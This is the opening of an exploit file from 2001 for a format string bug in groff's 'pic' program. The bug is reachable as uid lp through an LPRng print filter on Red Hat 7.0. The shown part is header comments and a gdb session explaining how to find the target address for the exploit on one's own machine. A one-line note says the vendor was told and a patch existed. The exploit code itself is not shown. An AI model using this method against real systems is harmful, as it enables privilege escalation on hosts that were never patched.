Vendor security list has been notified and as of last contact,
on Mon July 9 2001, a patch which seemed to work had been worked out.

//               pic format string exploit
//               =========================
// This version -  Sat Jun 23 21:35:31 NZST 2001
// (updated to fix broken link Thu Jul 27 23:45:34 NZST 2001)
//
// pic is part of the groff package. It is used by troff-to-ps.fpi as uid lp
// when perl, troff and LPRng are installed.
//
// The address given is not the exact address, but it works.
// (see /* comments below */ for information on why it's not the exact address)
//
// The offset given is (close enough to) the address for the
// version of /usr/bin/pic from the rpm that comes redhat 7.0
// (groff-1.16-7) The method used to find the offset in your
// version of pic could be something like this :-
/*

bash-2.04$ gdb -q /usr/bin/pic
(no debugging symbols found)...(gdb)
(gdb) break getopt
Breakpoint 1 at 0x8048e94
(gdb) display/i $eip
(gdb) r -S
Starting program: /usr/bin/pic -S
Breakpoint 1 at 0x4014d552: file getopt.c, line 987.

Breakpoint 1, getopt (argc=2, argv=0xbffffa84,
    optstring=0x8060bc9 "T:CDSUtcvnxzpf") at getopt.c:987
987     getopt.c: No such file or directory.
1: x/i $eip  0x4014d552 <getopt+18>:    mov    0x10(%ebp),%ecx
(gdb)
 (
   type nexti a few (mebe a dozen or 2?)  times until you see something like
                movl   $0x1,%ebx
   in which case the next instruction contains safe_address, or
                movl   $0x1,0xsomeaddress
   in which case safe_address is 0xsomeaddress

   IE: It is the the address used by the first instructions
   that assign a value of 1 to an address after the getopt() call.

 )
1: x/i $eip  0x80523c2 <strcpy+37758>:  mov    $0x1,%ebx
(gdb)
0x80523c7       31      in ../sysdeps/generic/strcpy.c
1: x/i $eip  0x80523c7 <strcpy+37763>:  mov    %ebx,0x806feec
(gdb) q

In this case, the address is 0x0806feec, however you may need to aim for
just a little before that, due to what are probably rounding errors in the
conversion between int->float->int, and using the least significant
digits.

This means: You may need to play a little to get it working on your machine.
